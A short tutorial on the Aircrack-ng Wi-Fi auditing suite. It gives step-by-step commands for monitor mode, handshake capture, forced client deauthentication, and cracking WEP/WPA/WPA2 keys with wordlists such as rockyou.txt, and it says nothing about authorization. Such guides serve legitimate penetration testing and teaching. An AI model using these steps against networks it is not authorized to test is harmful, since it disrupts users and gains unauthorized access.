Full Guide to Aircrack-ng by Abhishek Gupta

Aircrack-ng is a comprehensive suite of tools for assessing Wi-Fi network security. It includes tools for monitoring, attacking, testing, and cracking Wi-Fi networks. Below is a detailed guide on how to use Aircrack-ng, along with practical commands and steps.

You Should Know:

1. Installing Aircrack-ng:

• On Debian-based systems (e.g., Ubuntu):

  sudo apt-get update
  sudo apt-get install aircrack-ng
  

• On Red Hat-based systems (e.g., CentOS):

  sudo yum install aircrack-ng
  

2. Monitoring Wi-Fi Networks:

• Start your wireless interface in monitor mode:

  sudo airmon-ng start wlan0
  

• Use `airodump-ng` to capture packets and list available networks:

  sudo airodump-ng wlan0mon
  

3. Capturing Handshakes:

• Target a specific network and capture the handshake:

  sudo airodump-ng --bssid [BSSID] --channel [CHANNEL] --write capture wlan0mon
  

• Deauthenticate a client to force a handshake:

  sudo aireplay-ng --deauth 10 -a [BSSID] -c [CLIENT_MAC] wlan0mon
  

4. Cracking WEP/WPA/WPA2 Passwords:

• For WEP:

  sudo aircrack-ng -b [BSSID] capture-01.cap
  

• For WPA/WPA2:

  sudo aircrack-ng -w [WORDLIST] -b [BSSID] capture-01.cap
  

5. Using Wordlists:

• Generate a custom wordlist using crunch:

  crunch 8 12 -f /usr/share/crunch/charset.lst mixalpha-numeric -o wordlist.txt
  

• Use an existing wordlist like rockyou.txt:

  sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt -b [BSSID] capture-01.cap
  

6. Analyzing Results:

• View the captured data and cracked passwords:

  sudo aircrack-ng capture-01.cap
